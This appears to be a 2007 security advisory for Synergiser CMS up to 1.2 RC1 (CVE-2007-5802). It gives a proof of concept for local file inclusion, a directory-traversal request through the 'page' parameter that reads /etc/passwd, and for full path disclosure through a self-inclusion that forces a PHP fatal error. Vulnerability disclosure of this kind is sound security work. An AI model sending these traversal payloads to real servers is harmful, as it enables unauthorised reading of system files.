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Arrow  Topic :

Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure


Arrow  SecurityAlert : 3335
Arrow  CVE : CVE-2007-5802
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : KiNgOfThEwOrLd
Arrow  Published : 04.11.2007

Arrow  Affected Software : Synergiser <= 1.2 RC1



Arrow  Advisory Content :  

---------------------------------------------------------------

____ __________ __ ____ __

/_ | ____ |_______ _____/ |_ /_ |/ |_

| |/ | | _(__ <_/ ___ __ ______ | __ | | | |
|/ ___| | /_____/ | || |

|___|___| /__| /______ /___ >__| |___||__|

/______| / /

---------------------------------------------------------------

Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org

Original here: http://www.inj3ct-it.org/exploit/syner.txt

---------------------------------------------------------------

Synergiser <= 1.2 RC1 Local File Inclusion & Full path disclosure

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------

PoC:

---------------------------------------------------------------

Synergiser cms allows to include a file by the get variabile "page". We
can't include a remote file, coz there is a filter..but we can include, by
a directory traversal, some important files...for example:

---------------------------------------------------------------

http://[target]/[synergiser_path]/index.php?page=../../../etc/passwd

---------------------------------------------------------------

So, we have to know the script path if we wanna browse the server...we can
get it generating a full path disclosure, like this:

---------------------------------------------------------------

http://[target]/[synergiser_path]/index.php?page=../index.php

---------------------------------------------------------------

We know that a function cannot be declared two times. So, let's read the
"index.php" code, and we will found:

---------------------------------------------------------------

include('application_top.php');

---------------------------------------------------------------

This row includes "application_top.php". In that page, is declared a php
function: assign_rand_value(); So, including index.php in index.php, we
will reinclude application_top.php, and we will redeclare the same
function. We can't do it! So the server will answer:

---------------------------------------------------------------

Fatal error: Cannot redeclare assign_rand_value() (previously declared in
[script_path]/application_top.php:9) in [script_path]/application_top.php
on line 124

---------------------------------------------------------------

And we got the script path! :P

---------------------------------------------------------------






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